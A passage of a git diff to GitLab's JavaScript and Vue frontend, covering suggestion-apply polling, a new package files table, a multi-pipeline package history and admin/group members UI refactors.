+ [CLOSED]: __('Something went wrong while reopening the epic. Please try again later.'),
+ [OPENED]: __('Something went wrong while closing the epic. Please try again later.'),
+ [REOPENED]: __('Something went wrong while closing the epic. Please try again later.'),
+ },
+ MergeRequest: {
+ [CLOSED]: __('Something went wrong while reopening the merge request. Please try again later.'),
+ [OPENED]: __('Something went wrong while closing the merge request. Please try again later.'),
+ [REOPENED]: __('Something went wrong while closing the merge request. Please try again later.'),
+ },
+};
diff --git a/app/assets/javascripts/notes/mixins/discussion_navigation.js b/app/assets/javascripts/notes/mixins/discussion_navigation.js
index 61298a15c5d..c6932bfacae 100644
--- a/app/assets/javascripts/notes/mixins/discussion_navigation.js
+++ b/app/assets/javascripts/notes/mixins/discussion_navigation.js
@@ -1,16 +1,17 @@
import { mapGetters, mapActions, mapState } from 'vuex';
-import { scrollToElementWithContext } from '~/lib/utils/common_utils';
+import { scrollToElementWithContext, scrollToElement } from '~/lib/utils/common_utils';
import eventHub from '../event_hub';
/**
* @param {string} selector
* @returns {boolean}
*/
-function scrollTo(selector) {
+function scrollTo(selector, { withoutContext = false } = {}) {
const el = document.querySelector(selector);
+ const scrollFunction = withoutContext ? scrollToElement : scrollToElementWithContext;
if (el) {
- scrollToElementWithContext(el);
+ scrollFunction(el);
return true;
}
@@ -35,7 +36,7 @@ function diffsJump({ expandDiscussion }, id) {
function discussionJump({ expandDiscussion }, id) {
const selector = `div.discussion[data-discussion-id="${id}"]`;
expandDiscussion({ discussionId: id });
- return scrollTo(selector);
+ return scrollTo(selector, { withoutContext: true });
}
/**
diff --git a/app/assets/javascripts/notes/stores/actions.js b/app/assets/javascripts/notes/stores/actions.js
index 2c60b5ee84a..1fe5d6c2955 100644
--- a/app/assets/javascripts/notes/stores/actions.js
+++ b/app/assets/javascripts/notes/stores/actions.js
@@ -244,21 +244,7 @@ export const toggleResolveNote = ({ commit, dispatch }, { endpoint, isResolved,
});
};
-export const toggleBlockedIssueWarning = ({ commit }, value) => {
- commit(types.TOGGLE_BLOCKED_ISSUE_WARNING, value);
- // Hides Close issue button at the top of issue page
- const closeDropdown = document.querySelector('.js-issuable-close-dropdown');
- if (closeDropdown) {
- closeDropdown.classList.toggle('d-none');
- } else {
- const closeButton = document.querySelector(
- '.detail-page-header-actions .btn-close.btn-grouped',
- );
- closeButton.classList.toggle('d-md-block');
- }
-};
-
-export const closeIssue = ({ commit, dispatch, state }) => {
+export const closeIssuable = ({ commit, dispatch, state }) => {
dispatch('toggleStateButtonLoading', true);
return axios.put(state.notesData.closePath).then(({ data }) => {
commit(types.CLOSE_ISSUE);
@@ -267,7 +253,7 @@ export const closeIssue = ({ commit, dispatch, state }) => {
});
};
-export const reopenIssue = ({ commit, dispatch, state }) => {
+export const reopenIssuable = ({ commit, dispatch, state }) => {
dispatch('toggleStateButtonLoading', true);
return axios.put(state.notesData.reopenPath).then(({ data }) => {
commit(types.REOPEN_ISSUE);
@@ -435,6 +421,10 @@ export const saveNote = ({ commit, dispatch }, noteData) => {
};
const pollSuccessCallBack = (resp, commit, state, getters, dispatch) => {
+ if (state.isResolvingDiscussion) {
+ return null;
+ }
+
if (resp.notes?.length) {
dispatch('updateOrCreateNotes', resp.notes);
dispatch('startTaskList');
@@ -574,6 +564,9 @@ export const submitSuggestion = (
const dispatchResolveDiscussion = () =>
dispatch('resolveDiscussion', { discussionId }).catch(() => {});
+ commit(types.SET_RESOLVING_DISCUSSION, true);
+ dispatch('stopPolling');
+
return Api.applySuggestion(suggestionId)
.then(() => commit(types.APPLY_SUGGESTION, { discussionId, noteId, suggestionId }))
.then(dispatchResolveDiscussion)
@@ -587,6 +580,10 @@ export const submitSuggestion = (
const flashMessage = errorMessage || defaultMessage;
Flash(__(flashMessage), 'alert', flashContainer);
+ })
+ .finally(() => {
+ commit(types.SET_RESOLVING_DISCUSSION, false);
+ dispatch('restartPolling');
});
};
@@ -605,6 +602,8 @@ export const submitSuggestionBatch = ({ commit, dispatch, state }, { flashContai
});
commit(types.SET_APPLYING_BATCH_STATE, true);
+ commit(types.SET_RESOLVING_DISCUSSION, true);
+ dispatch('stopPolling');
return Api.applySuggestionBatch(suggestionIds)
.then(() => Promise.all(applyAllSuggestions()))
@@ -621,7 +620,11 @@ export const submitSuggestionBatch = ({ commit, dispatch, state }, { flashContai
Flash(__(flashMessage), 'alert', flashContainer);
})
- .finally(() => commit(types.SET_APPLYING_BATCH_STATE, false));
+ .finally(() => {
+ commit(types.SET_APPLYING_BATCH_STATE, false);
+ commit(types.SET_RESOLVING_DISCUSSION, false);
+ dispatch('restartPolling');
+ });
};
export const addSuggestionInfoToBatch = ({ commit }, { suggestionId, noteId, discussionId }) =>
diff --git a/app/assets/javascripts/notes/stores/collapse_utils.js b/app/assets/javascripts/notes/stores/collapse_utils.js
index d94fc626a3f..f34247d4eb0 100644
--- a/app/assets/javascripts/notes/stores/collapse_utils.js
+++ b/app/assets/javascripts/notes/stores/collapse_utils.js
@@ -70,6 +70,3 @@ export const collapseSystemNotes = notes => {
return acc;
}, []);
};
-
-// for babel-rewire
-export default {};
diff --git a/app/assets/javascripts/notes/stores/modules/index.js b/app/assets/javascripts/notes/stores/modules/index.js
index a8738fa7c5f..4421a84a6b1 100644
--- a/app/assets/javascripts/notes/stores/modules/index.js
+++ b/app/assets/javascripts/notes/stores/modules/index.js
@@ -26,7 +26,6 @@ export default () => ({
// View layer
isToggleStateButtonLoading: false,
- isToggleBlockedIssueWarning: false,
isNotesFetched: false,
isLoading: true,
isLoadingDescriptionVersion: false,
@@ -42,6 +41,7 @@ export default () => ({
current_user: {},
preview_note_path: 'path/to/preview',
},
+ isResolvingDiscussion: false,
commentsDisabled: false,
resolvableDiscussionsCount: 0,
unresolvedDiscussionsCount: 0,
diff --git a/app/assets/javascripts/notes/stores/mutation_types.js b/app/assets/javascripts/notes/stores/mutation_types.js
index 7496dd630f6..5c4f62f4575 100644
--- a/app/assets/javascripts/notes/stores/mutation_types.js
+++ b/app/assets/javascripts/notes/stores/mutation_types.js
@@ -38,12 +38,12 @@ export const SET_TIMELINE_VIEW = 'SET_TIMELINE_VIEW';
export const SET_SELECTED_COMMENT_POSITION = 'SET_SELECTED_COMMENT_POSITION';
export const SET_SELECTED_COMMENT_POSITION_HOVER = 'SET_SELECTED_COMMENT_POSITION_HOVER';
export const SET_FETCHING_DISCUSSIONS = 'SET_FETCHING_DISCUSSIONS';
+export const SET_RESOLVING_DISCUSSION = 'SET_RESOLVING_DISCUSSION';
// Issue
export const CLOSE_ISSUE = 'CLOSE_ISSUE';
export const REOPEN_ISSUE = 'REOPEN_ISSUE';
export const TOGGLE_STATE_BUTTON_LOADING = 'TOGGLE_STATE_BUTTON_LOADING';
-export const TOGGLE_BLOCKED_ISSUE_WARNING = 'TOGGLE_BLOCKED_ISSUE_WARNING';
export const SET_ISSUE_CONFIDENTIAL = 'SET_ISSUE_CONFIDENTIAL';
export const SET_ISSUABLE_LOCK = 'SET_ISSUABLE_LOCK';
diff --git a/app/assets/javascripts/notes/stores/mutations.js b/app/assets/javascripts/notes/stores/mutations.js
index 7cc619ec1c5..53387b2eaff 100644
--- a/app/assets/javascripts/notes/stores/mutations.js
+++ b/app/assets/javascripts/notes/stores/mutations.js
@@ -213,6 +213,10 @@ export default {
}
},
+ [types.SET_RESOLVING_DISCUSSION](state, isResolving) {
+ state.isResolvingDiscussion = isResolving;
+ },
+
[types.UPDATE_NOTE](state, note) {
const noteObj = utils.findNoteObjectById(state.discussions, note.discussion_id);
@@ -301,10 +305,6 @@ export default {
Object.assign(state, { isToggleStateButtonLoading: value });
},
- [types.TOGGLE_BLOCKED_ISSUE_WARNING](state, value) {
- Object.assign(state, { isToggleBlockedIssueWarning: value });
- },
-
[types.SET_NOTES_FETCHED_STATE](state, value) {
Object.assign(state, { isNotesFetched: value });
},
diff --git a/app/assets/javascripts/packages/details/components/app.vue b/app/assets/javascripts/packages/details/components/app.vue
index af3220840a6..c9f1c8b903c 100644
--- a/app/assets/javascripts/packages/details/components/app.vue
+++ b/app/assets/javascripts/packages/details/components/app.vue
@@ -5,29 +5,26 @@ import {
GlModal,
GlModalDirective,
GlTooltipDirective,
- GlLink,
GlEmptyState,
GlTab,
GlTabs,
- GlTable,
GlSprintf,
} from '@gitlab/ui';
import { mapActions, mapState } from 'vuex';
import Tracking from '~/tracking';
+import { s__ } from '~/locale';
+import { objectToQueryString } from '~/lib/utils/common_utils';
+import { numberToHumanSize } from '~/lib/utils/number_utils';
import PackageHistory from './package_history.vue';
import PackageTitle from './package_title.vue';
import PackagesListLoader from '../../shared/components/packages_list_loader.vue';
import PackageListRow from '../../shared/components/package_list_row.vue';
+import { packageTypeToTrackCategory } from '../../shared/utils';
+import { PackageType, TrackingActions, SHOW_DELETE_SUCCESS_ALERT } from '../../shared/constants';
import DependencyRow from './dependency_row.vue';
import AdditionalMetadata from './additional_metadata.vue';
import InstallationCommands from './installation_commands.vue';
-import { numberToHumanSize } from '~/lib/utils/number_utils';
-import timeagoMixin from '~/vue_shared/mixins/timeago';
-import FileIcon from '~/vue_shared/components/file_icon.vue';
-import { __, s__ } from '~/locale';
-import { PackageType, TrackingActions, SHOW_DELETE_SUCCESS_ALERT } from '../../shared/constants';
-import { packageTypeToTrackCategory } from '../../shared/utils';
-import { objectToQueryString } from '~/lib/utils/common_utils';
+import PackageFiles from './package_files.vue';
export default {
name: 'PackagesApp',
@@ -35,12 +32,9 @@ export default {
GlBadge,
GlButton,
GlEmptyState,
- GlLink,
GlModal,
GlTab,
GlTabs,
- GlTable,
- FileIcon,
GlSprintf,
PackageTitle,
PackagesListLoader,
@@ -49,12 +43,13 @@ export default {
PackageHistory,
AdditionalMetadata,
InstallationCommands,
+ PackageFiles,
},
directives: {
GlTooltip: GlTooltipDirective,
GlModal: GlModalDirective,
},
- mixins: [timeagoMixin, Tracking.mixin()],
+ mixins: [Tracking.mixin()],
trackingActions: { ...TrackingActions },
computed: {
...mapState([
@@ -72,14 +67,6 @@ export default {
isValidPackage() {
return Boolean(this.packageEntity.name);
},
- filesTableRows() {
- return this.packageFiles.map(x => ({
- name: x.file_name,
- downloadPath: x.download_path,
- size: this.formatSize(x.size),
- created: x.created_at,
- }));
- },
tracking() {
return {
category: packageTypeToTrackCategory(this.packageEntity.package_type),
@@ -128,22 +115,6 @@ export default {
`PackageRegistry|You are about to delete version %{version} of %{name}. Are you sure?`,
),
},
- filesTableHeaderFields: [
- {
- key: 'name',
- label: __('Name'),
- tdClass: 'd-flex align-items-center',
- },
- {
- key: 'size',
- label: __('Size'),
- },
- {
- key: 'created',
- label: __('Created'),
- class: 'text-right',
- },
- ],
};
</script>
@@ -185,35 +156,11 @@ export default {
<additional-metadata :package-entity="packageEntity" />
</div>
- <template v-if="showFiles">
- <h3 class="gl-font-lg gl-mt-5">{{ __('Files') }}</h3>
- <gl-table
- :fields="$options.filesTableHeaderFields"
- :items="filesTableRows"
- tbody-tr-class="js-file-row"
- >
- <template #cell(name)="{ item }">
- <gl-link
- :href="item.downloadPath"
- class="js-file-download gl-relative"
- @click="track($options.trackingActions.PULL_PACKAGE)"
- >
- <file-icon
- :file-name="item.name"
- css-classes="gl-relative file-icon"
- class="gl-mr-1 gl-relative"
- />
- <span class="gl-relative">{{ item.name }}</span>
- </gl-link>
- </template>
-
- <template #cell(created)="{ item }">
- <span v-gl-tooltip :title="tooltipTitle(item.created)">{{
- timeFormatted(item.created)
- }}</span>
- </template>
- </gl-table>
- </template>
+ <package-files
+ v-if="showFiles"
+ :package-files="packageFiles"
+ @download-file="track($options.trackingActions.PULL_PACKAGE)"
+ />
</gl-tab>
<gl-tab v-if="showDependencies" title-item-class="js-dependencies-tab">
diff --git a/app/assets/javascripts/packages/details/components/package_files.vue b/app/assets/javascripts/packages/details/components/package_files.vue
new file mode 100644
index 00000000000..ab46dd0114d
--- /dev/null
+++ b/app/assets/javascripts/packages/details/components/package_files.vue
@@ -0,0 +1,107 @@
+<script>
+import { GlLink, GlTable } from '@gitlab/ui';
+import { last } from 'lodash';
+import { __ } from '~/locale';
+import Tracking from '~/tracking';
+import { numberToHumanSize } from '~/lib/utils/number_utils';
+import TimeAgoTooltip from '~/vue_shared/components/time_ago_tooltip.vue';
+import FileIcon from '~/vue_shared/components/file_icon.vue';
+
+export default {
+ name: 'PackageFiles',
+ components: {
+ GlLink,
+ GlTable,
+ FileIcon,
+ TimeAgoTooltip,
+ },
+ mixins: [Tracking.mixin()],
+ props: {
+ packageFiles: {
+ type: Array,
+ required: false,
+ default: () => [],
+ },
+ },
+ computed: {
+ filesTableRows() {
+ return this.packageFiles.map(pf => ({
+ ...pf,
+ size: this.formatSize(pf.size),
+ pipeline: last(pf.pipelines),
+ }));
+ },
+ showCommitColumn() {
+ return this.filesTableRows.some(row => Boolean(row.pipeline?.id));
+ },
+ filesTableHeaderFields() {
+ return [
+ {
+ key: 'name',
+ label: __('Name'),
+ tdClass: 'gl-display-flex gl-align-items-center',
+ },
+ {
+ key: 'commit',
+ label: __('Commit'),
+ hide: !this.showCommitColumn,
+ },
+ {
+ key: 'size',
+ label: __('Size'),
+ },
+ {
+ key: 'created',
+ label: __('Created'),
+ class: 'gl-text-right',
+ },
+ ].filter(c => !c.hide);
+ },
+ },
+ methods: {
+ formatSize(size) {
+ return numberToHumanSize(size);
+ },
+ },
+};
+</script>
+
+<template>
+ <div>
+ <h3 class="gl-font-lg gl-mt-5">{{ __('Files') }}</h3>
+ <gl-table
+ :fields="filesTableHeaderFields"
+ :items="filesTableRows"
+ :tbody-tr-attr="{ 'data-testid': 'file-row' }"
+ >
+ <template #cell(name)="{ item }">
+ <gl-link
+ :href="item.download_path"
+ class="gl-relative gl-text-gray-500"
+ data-testid="download-link"
+ @click="$emit('download-file')"
+ >
+ <file-icon
+ :file-name="item.file_name"
+ css-classes="gl-relative file-icon"
+ class="gl-mr-1 gl-relative"
+ />
+ <span class="gl-relative">{{ item.file_name }}</span>
+ </gl-link>
+ </template>
+
+ <template #cell(commit)="{item}">
+ <gl-link
+ :href="item.pipeline.project.commit_url"
+ class="gl-text-gray-500"
+ data-testid="commit-link"
+ >{{ item.pipeline.git_commit_message }}</gl-link
+ >
+ </template>
+
+ <template #cell(created)="{ item }">
+ <time-ago-tooltip :time="item.created_at" />
+ </template>
+ </gl-table>
+ </div>
+</template>
diff --git a/app/assets/javascripts/packages/details/components/package_history.vue b/app/assets/javascripts/packages/details/components/package_history.vue
index 413ab1d15cb..62550602428 100644
--- a/app/assets/javascripts/packages/details/components/package_history.vue
+++ b/app/assets/javascripts/packages/details/components/package_history.vue
@@ -1,17 +1,26 @@
<script>
import { GlLink, GlSprintf } from '@gitlab/ui';
-import { s__ } from '~/locale';
+import { first } from 'lodash';
+import { s__, n__ } from '~/locale';
+import { truncateSha } from '~/lib/utils/text_utility';
import TimeAgoTooltip from '~/vue_shared/components/time_ago_tooltip.vue';
import HistoryItem from '~/vue_shared/components/registry/history_item.vue';
+import { HISTORY_PIPELINES_LIMIT } from '~/packages/details/constants';
export default {
name: 'PackageHistory',
i18n: {
- createdOn: s__('PackageRegistry|%{name} version %{version} was created %{datetime}'),
- updatedAtText: s__('PackageRegistry|%{name} version %{version} was updated %{datetime}'),
- commitText: s__('PackageRegistry|Commit %{link} on branch %{branch}'),
- pipelineText: s__('PackageRegistry|Pipeline %{link} triggered %{datetime} by %{author}'),
+ createdOn: s__('PackageRegistry|%{name} version %{version} was first created %{datetime}'),
+ createdByCommitText: s__('PackageRegistry|Created by commit %{link} on branch %{branch}'),
+ createdByPipelineText: s__(
+ 'PackageRegistry|Built by pipeline %{link} triggered %{datetime} by %{author}',
+ ),
publishText: s__('PackageRegistry|Published to the %{project} Package Registry %{datetime}'),
+ combinedUpdateText: s__(
+ 'PackageRegistry|Package updated by commit %{link} on branch %{branch}, built by pipeline %{pipeline}, and published to the registry %{datetime}',
+ ),
+ archivedPipelineMessageSingular: s__('PackageRegistry|Package has %{number} archived update'),
+ archivedPipelineMessagePlural: s__('PackageRegistry|Package has %{number} archived updates'),
},
components: {
GlLink,
@@ -35,8 +44,32 @@ export default {
};
},
computed: {
- packagePipeline() {
- return this.packageEntity.pipeline?.id ? this.packageEntity.pipeline : null;
+ pipelines() {
+ return this.packageEntity.pipelines || [];
+ },
+ firstPipeline() {
+ return first(this.pipelines);
+ },
+ lastPipelines() {
+ return this.pipelines.slice(1).slice(-HISTORY_PIPELINES_LIMIT);
+ },
+ showPipelinesInfo() {
+ return Boolean(this.firstPipeline?.id);
+ },
+ archiviedLines() {
+ return Math.max(this.pipelines.length - HISTORY_PIPELINES_LIMIT - 1, 0);
+ },
+ archivedPipelineMessage() {
+ return n__(
+ this.$options.i18n.archivedPipelineMessageSingular,
+ this.$options.i18n.archivedPipelineMessagePlural,
+ this.archiviedLines,
+ );
+ },
+ },
+ methods: {
+ truncate(value) {
+ return truncateSha(value);
},
},
};
@@ -59,46 +92,35 @@ export default {
</template>
</gl-sprintf>
</history-item>
- <history-item icon="pencil" data-testid="updated-at">
- <gl-sprintf :message="$options.i18n.updatedAtText">
- <template #name>
- <strong>{{ packageEntity.name }}</strong>
- </template>
- <template #version>
- <strong>{{ packageEntity.version }}</strong>
- </template>
- <template #datetime>
- <time-ago-tooltip :time="packageEntity.updated_at" />
- </template>
- </gl-sprintf>
- </history-item>
- <template v-if="packagePipeline">
- <history-item icon="commit" data-testid="commit">
- <gl-sprintf :message="$options.i18n.commitText">
+
+ <template v-if="showPipelinesInfo">
+ <!-- FIRST PIPELINE BLOCK -->
+ <history-item icon="commit" data-testid="first-pipeline-commit">
+ <gl-sprintf :message="$options.i18n.createdByCommitText">
<template #link>
- <gl-link :href="packagePipeline.project.commit_url">{{
- packagePipeline.sha
- }}</gl-link>
+ <gl-link :href="firstPipeline.project.commit_url"
+ >#{{ truncate(firstPipeline.sha) }}</gl-link
+ >
</template>
<template #branch>
- <strong>{{ packagePipeline.ref }}</strong>
+ <strong>{{ firstPipeline.ref }}</strong>
</template>
</gl-sprintf>
</history-item>
- <history-item icon="pipeline" data-testid="pipeline">
- <gl-sprintf :message="$options.i18n.pipelineText">
+ <history-item icon="pipeline" data-testid="first-pipeline-pipeline">
+ <gl-sprintf :message="$options.i18n.createdByPipelineText">
<template #link>
- <gl-link :href="packagePipeline.project.pipeline_url"
- >#{{ packagePipeline.id }}</gl-link
- >
+ <gl-link :href="firstPipeline.project.pipeline_url">#{{ firstPipeline.id }}</gl-link>
</template>
<template #datetime>
- <time-ago-tooltip :time="packagePipeline.created_at" />
+ <time-ago-tooltip :time="firstPipeline.created_at" />
</template>
- <template #author>{{ packagePipeline.user.name }}</template>
+ <template #author>{{ firstPipeline.user.name }}</template>
</gl-sprintf>
</history-item>
</template>
+
+ <!-- PUBLISHED LINE -->
<history-item icon="package" data-testid="published">
<gl-sprintf :message="$options.i18n.publishText">
<template #project>
@@ -109,6 +131,37 @@ export default {
</template>
</gl-sprintf>
</history-item>
+
+ <history-item v-if="archiviedLines" icon="history" data-testid="archived">
+ <gl-sprintf :message="archivedPipelineMessage">
+ <template #number>
+ <strong>{{ archiviedLines }}</strong>
+ </template>
+ </gl-sprintf>
+ </history-item>
+
+ <!-- PIPELINES LIST ENTRIES -->
+ <history-item
+ v-for="pipeline in lastPipelines"
+ :key="pipeline.id"
+ icon="pencil"
+ data-testid="pipeline-entry"
+ >
+ <gl-sprintf :message="$options.i18n.combinedUpdateText">
+ <template #link>
+ <gl-link :href="pipeline.project.commit_url">#{{ truncate(pipeline.sha) }}</gl-link>
+ </template>
+ <template #branch>
+ <strong>{{ pipeline.ref }}</strong>
+ </template>
+ <template #pipeline>
+ <gl-link :href="pipeline.project.pipeline_url">#{{ pipeline.id }}</gl-link>
+ </template>
+ <template #datetime>
+ <time-ago-tooltip :time="pipeline.created_at" />
+ </template>
+ </gl-sprintf>
+ </history-item>
</ul>
</div>
</template>
diff --git a/app/assets/javascripts/packages/details/constants.js b/app/assets/javascripts/packages/details/constants.js
index c6e1b388132..986b0667356 100644
--- a/app/assets/javascripts/packages/details/constants.js
+++ b/app/assets/javascripts/packages/details/constants.js
@@ -45,3 +45,5 @@ export const NpmManager = {
export const FETCH_PACKAGE_VERSIONS_ERROR = s__(
'PackageRegistry|Unable to fetch package version information.',
);
+
+export const HISTORY_PIPELINES_LIMIT = 5;
diff --git a/app/assets/javascripts/packages/list/constants.js b/app/assets/javascripts/packages/list/constants.js
index 6a0e92bff2d..e14696e0d1c 100644
--- a/app/assets/javascripts/packages/list/constants.js
+++ b/app/assets/javascripts/packages/list/constants.js
@@ -68,6 +68,10 @@ export const PACKAGE_REGISTRY_TABS = [
title: s__('PackageRegistry|Conan'),
type: PackageType.CONAN,
},
+ {
+ title: s__('PackageRegistry|Generic'),
+ type: PackageType.GENERIC,
+ },
{
title: s__('PackageRegistry|Maven'),
diff --git a/app/assets/javascripts/packages/shared/constants.js b/app/assets/javascripts/packages/shared/constants.js
index c481abd8658..c0f7f150337 100644
--- a/app/assets/javascripts/packages/shared/constants.js
+++ b/app/assets/javascripts/packages/shared/constants.js
@@ -7,6 +7,7 @@ export const PackageType = {
NUGET: 'nuget',
PYPI: 'pypi',
COMPOSER: 'composer',
+ GENERIC: 'generic',
};
export const TrackingActions = {
diff --git a/app/assets/javascripts/packages/shared/utils.js b/app/assets/javascripts/packages/shared/utils.js
index b0807558266..d7a883e4397 100644
--- a/app/assets/javascripts/packages/shared/utils.js
+++ b/app/assets/javascripts/packages/shared/utils.js
@@ -21,7 +21,8 @@ export const getPackageTypeLabel = packageType => {
return s__('PackageType|PyPI');
case PackageType.COMPOSER:
return s__('PackageType|Composer');
-
+ case PackageType.GENERIC:
+ return s__('PackageType|Generic');
default:
return null;
}
diff --git a/app/assets/javascripts/pager.js b/app/assets/javascripts/pager.js
index 2aa37842707..f9a91ec322b 100644
--- a/app/assets/javascripts/pager.js
+++ b/app/assets/javascripts/pager.js
@@ -72,6 +72,7 @@ export default {
},
initLoadMore() {
+ // eslint-disable-next-line @gitlab/no-global-event-off
$(document).off('scroll');
$(document).endlessScroll({
bottomPixels: ENDLESS_SCROLL_BOTTOM_PX,
diff --git a/app/assets/javascripts/pages/admin/application_settings/index.js b/app/assets/javascripts/pages/admin/application_settings/index.js
index 143d15f92cd..cce30e6b12a 100644
--- a/app/assets/javascripts/pages/admin/application_settings/index.js
+++ b/app/assets/javascripts/pages/admin/application_settings/index.js
@@ -1,7 +1,6 @@
import initSettingsPanels from '~/settings_panels';
import projectSelect from '~/project_select';
import selfMonitor from '~/self_monitor';
-import maintenanceModeSettings from '~/maintenance_mode_settings';
import initVariableList from '~/ci_variable_list';
document.addEventListener('DOMContentLoaded', () => {
@@ -9,7 +8,6 @@ document.addEventListener('DOMContentLoaded', () => {
initVariableList('js-instance-variables');
}
selfMonitor();
- maintenanceModeSettings();
// Initialize expandable settings panels
initSettingsPanels();
projectSelect();
diff --git a/app/assets/javascripts/pages/admin/users/components/user_modal_manager.vue b/app/assets/javascripts/pages/admin/users/components/user_modal_manager.vue
index a08d32028c3..24c9fa4cb3f 100644
--- a/app/assets/javascripts/pages/admin/users/components/user_modal_manager.vue
+++ b/app/assets/javascripts/pages/admin/users/components/user_modal_manager.vue
@@ -1,14 +1,13 @@
<script>
+import DeleteUserModal from './delete_user_modal.vue';
+
export default {
+ components: { DeleteUserModal },
props: {
modalConfiguration: {
required: true,
type: Object,
},
- actionModals: {
- required: true,
- type: Object,
- },
csrfToken: {
required: true,
type: String,
@@ -21,10 +20,7 @@ export default {
},
computed: {
activeModal() {
- if (!this.currentModalData) return null;
- const { glModalAction: action } = this.currentModalData;
-
- return this.actionModals[action];
+ return Boolean(this.currentModalData);
},
modalProps() {
@@ -56,9 +52,7 @@ export default {
show(modalData) {
const { glModalAction: requestedAction } = modalData;
- if (!this.actionModals[requestedAction]) {
- throw new Error(`Requested non-existing modal action ${requestedAction}`);
- }
+
if (!this.modalConfiguration[requestedAction]) {
throw new Error(`Modal action ${requestedAction} has no configuration in HTML`);
}
@@ -73,5 +67,5 @@ export default {
};
</script>
<template>
- <div :is="activeModal" v-if="activeModal" ref="modal" v-bind="modalProps" />
+ <delete-user-modal v-if="activeModal" ref="modal" v-bind="modalProps" />
</template>
diff --git a/app/assets/javascripts/pages/admin/users/components/user_operation_confirmation_modal.vue b/app/assets/javascripts/pages/admin/users/components/user_operation_confirmation_modal.vue
deleted file mode 100644
index 4ca6ce6f1c3..00000000000
--- a/app/assets/javascripts/pages/admin/users/components/user_operation_confirmation_modal.vue
+++ /dev/null
@@ -1,71 +0,0 @@
-<script>
-/* eslint-disable vue/no-v-html */
-import { GlModal } from '@gitlab/ui';
-import { sprintf } from '~/locale';
-
-export default {
- components: {
- GlModal,
- },
- props: {
- title: {
- type: String,
- required: true,
- },
- content: {
- type: String,
- required: true,
- },
- action: {
- type: String,
- required: true,
- },
- url: {
- type: String,
- required: true,
- },
- username: {
- type: String,
- required: true,
- },
- csrfToken: {
- type: String,
- required: true,
- },
- method: {
- type: String,
- required: false,
- default: 'put',
- },
- },
- computed: {
- modalTitle() {
- return sprintf(this.title, { username: this.username });
- },
- },
- methods: {
- show() {
- this.$refs.modal.show();
- },
- submit() {
- this.$refs.form.submit();
- },
- },
-};
-</script>
-<template>
- <gl-modal
- ref="modal"
- modal-id="user-operation-modal"
- :title="modalTitle"
- ok-variant="warning"
- :ok-title="action"
- @ok="submit"
- >
- <form ref="form" :action="url" method="post">
- <span v-html="content"></span>
- <input ref="method" type="hidden" name="_method" :value="method" />
- <input :value="csrfToken" type="hidden" name="authenticity_token" />
- </form>
- </gl-modal>
-</template>
diff --git a/app/assets/javascripts/pages/admin/users/index.js b/app/assets/javascripts/pages/admin/users/index.js
index 5f3cdc0bfc6..07462b4592f 100644
--- a/app/assets/javascripts/pages/admin/users/index.js
+++ b/app/assets/javascripts/pages/admin/users/index.js
@@ -2,18 +2,12 @@ import Vue from 'vue';
import Translate from '~/vue_shared/translate';
import ModalManager from './components/user_modal_manager.vue';
-import DeleteUserModal from './components/delete_user_modal.vue';
-import UserOperationConfirmationModal from './components/user_operation_confirmation_modal.vue';
import csrf from '~/lib/utils/csrf';
import initConfirmModal from '~/confirm_modal';
+import initAdminUsersApp from '~/admin/users';
-const MODAL_TEXTS_CONTAINER_SELECTOR = '#modal-texts';
-const MODAL_MANAGER_SELECTOR = '#user-modal';
-const ACTION_MODALS = {
- deactivate: UserOperationConfirmationModal,
- delete: DeleteUserModal,
- 'delete-with-contributions': DeleteUserModal,
-};
+const MODAL_TEXTS_CONTAINER_SELECTOR = '#js-modal-texts';
+const MODAL_MANAGER_SELECTOR = '#js-delete-user-modal';
function loadModalsConfigurationFromHtml(modalsElement) {
const modalsConfiguration = {};
@@ -56,7 +50,6 @@ document.addEventListener('DOMContentLoaded', () => {
ref: 'manager',
props: {
modalConfiguration,
- actionModals: ACTION_MODALS,
csrfToken: csrf.token,
},
});
@@ -64,4 +57,5 @@ document.addEventListener('DOMContentLoaded', () => {
});
initConfirmModal();
+ initAdminUsersApp();
});
diff --git a/app/assets/javascripts/pages/groups/group_members/index.js b/app/assets/javascripts/pages/groups/group_members/index.js
index 009a3eee526..d3900b84fa7 100644
--- a/app/assets/javascripts/pages/groups/group_members/index.js
+++ b/app/assets/javascripts/pages/groups/group_members/index.js
@@ -6,6 +6,7 @@ import groupsSelect from '~/groups_select';
import RemoveMemberModal from '~/vue_shared/components/remove_member_modal.vue';
import { initGroupMembersApp } from '~/groups/members';
import { memberRequestFormatter, groupLinkRequestFormatter } from '~/groups/members/utils';
+import { s__ } from '~/locale';
function mountRemoveMemberModal() {
const el = document.querySelector('.js-remove-member-modal');
@@ -22,30 +23,43 @@ function mountRemoveMemberModal() {
}
const SHARED_FIELDS = ['account', 'expires', 'maxRole', 'expiration', 'actions'];
-initGroupMembersApp(
- document.querySelector('.js-group-members-list'),
- SHARED_FIELDS.concat(['source', 'granted']),
- { tr: { 'data-qa-selector': 'member_row' } },
- memberRequestFormatter,
-);
-initGroupMembersApp(
- document.querySelector('.js-group-linked-list'),
- SHARED_FIELDS.concat('granted'),
- { table: { 'data-qa-selector': 'groups_list' }, tr: { 'data-qa-selector': 'group_row' } },
- groupLinkRequestFormatter,
-);
-initGroupMembersApp(
- document.querySelector('.js-group-invited-members-list'),
- SHARED_FIELDS.concat('invited'),
- {},
- memberRequestFormatter,
-);
-initGroupMembersApp(
- document.querySelector('.js-group-access-requests-list'),
- SHARED_FIELDS.concat('requested'),
- {},
- memberRequestFormatter,
-);
+
+initGroupMembersApp(document.querySelector('.js-group-members-list'), {
+ tableFields: SHARED_FIELDS.concat(['source', 'granted']),
+ tableAttrs: { tr: { 'data-qa-selector': 'member_row' } },
+ tableSortableFields: ['account', 'granted', 'maxRole', 'lastSignIn'],
+ requestFormatter: memberRequestFormatter,
+ filteredSearchBar: {
+ show: true,
+ tokens: ['two_factor', 'with_inherited_permissions'],
+ searchParam: 'search',
+ placeholder: s__('Members|Filter members'),
+ recentSearchesStorageKey: 'group_members',
+ },
+});
+initGroupMembersApp(document.querySelector('.js-group-linked-list'), {
+ tableFields: SHARED_FIELDS.concat('granted'),
+ tableAttrs: {
+ table: { 'data-qa-selector': 'groups_list' },
+ tr: { 'data-qa-selector': 'group_row' },
+ },
+ requestFormatter: groupLinkRequestFormatter,
+});
+initGroupMembersApp(document.querySelector('.js-group-invited-members-list'), {
+ tableFields: SHARED_FIELDS.concat('invited'),
+ requestFormatter: memberRequestFormatter,
+ filteredSearchBar: {
+ show: true,
+ tokens: [],
+ searchParam: 'search_invited',
+ placeholder: s__('Members|Search invited'),
+ recentSearchesStorageKey: 'group_invited_members',
+ },
+});
+initGroupMembersApp(document.querySelector('.js-group-access-requests-list'), {
